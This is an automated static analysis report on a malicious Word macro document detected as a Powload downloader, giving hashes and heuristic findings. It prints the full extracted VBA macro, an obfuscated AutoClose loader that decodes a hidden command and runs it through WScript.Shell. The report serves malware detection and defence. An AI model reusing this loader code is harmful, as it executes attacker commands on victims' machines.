Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 b0e2cef91b30ab96…

MALICIOUS

Office (OOXML)

53.5 KB Created: 2017-11-29 23:43:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2020-05-14
MD5: 0fccc1bf870df0df3b48e0b0ed50e5d5 SHA-1: b3a442888010182a411a7b19ebc21d55da83aecc SHA-256: b0e2cef91b30ab96b6893659537a44986767272dfc2438af8281455af0f892e0
350 Risk Score

Heuristics 8

  • ClamAV: Doc.Downloader.Powload-6707242-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Powload-6707242-0
  • VBA project inside OOXML medium 5 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
       euchroite = "WScript.Shell"
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
    Matched line in script
      Application.Run "jalapic", reminisced
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
           CreateObject(Trim(euchroite)).Run locals, 0
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Triggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
  • Auto_Close macro low OLE_VBA_AUTOCLOSE
    Auto_Close macro
    Matched line in script
    Sub AutoClose()
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 2069 bytes
SHA-256: abce193faec528bd1a85a936c866d3514df9d0f6021566745b6a5f77b6c0fa83
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Function argemony(feebs)
  fugued = Array("O", "n", "S", "Q", "0", "u", "G", "2", "r", "x", "L", "D", "K", "Y", "E", "j", "v", "f", "h", "P", "R", "W", "J", "T", "Z")
  exilable = Array("p", "s", "/", "r", "k", "t", "h", "N", "b", "x", "?", "i", "c", "=", "m", "n", ".", "A", " ", "a", ":", "e", "o", "u", "Y")
  
  bitchiness = vbNullString
  
  For Each lipping In feebs
    protonym = displosion(lipping, fugued, UBound(fugued))
    If protonym > -1 Then
    bitchiness = exilable(protonym) & bitchiness
    End If
  Next
  
  argemony = StrReverse(bitchiness)
  
End Function

Public Function displosion(spondaic, undisguised, letterman)
  catakinesis = 5553
  phthisis = 772
  For catakinesis = 0 To letterman
    If undisguised(catakinesis) = spondaic And catakinesis > -1 Then
     phthisis = catakinesis
    End If
  Next

  If phthisis = 772 Then
    phthisis = -1
  End If
  
  displosion = phthisis
End Function

Sub AutoClose()
  feebs = Array("E", "n", "G", "u", "P", "v", "W", "x", "W", "h", "G", "u", "u", "O", "R", "S", "S", "n", "T", "0", "D", "W", "r", "P", "j", "D", "W", "J", "u", "r", "D", "u", "W", "n", "J", "u", "j", "P", "n", "v", "K", "J", "E", "S", "f", "2", "Z", "S", "u", "W", "Q", "x", "v", "O", "G", "O", "L", "T", "u", "E", "P", "Y", "r", "P", "r", "W", "u", "K")
  reminisced = argemony(feebs)
  
  Application.Run "jalapic", reminisced
  
End Sub


Private Sub jalapic(locals)
   
   euchroite = "WScript.Shell"
   frontiersman = DateDiff("s", #1/1/1970#, Now())
   kempt = True
   
   While kempt
     viscounts = frontiersman + 60
     If viscounts - frontiersman > 1 Then
       CreateObject(Trim(euchroite)).Run locals, 0
       kempt = False
      End If
     
   Wend

End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 12288 bytes
SHA-256: ca07bc3049c9a5fd165237f3597c526502d2aafcfcc24ffd1f8cc64c3e60658f
Detection
ClamAV: Doc.Downloader.Powload-6707242-0
Obfuscation or payload: unlikely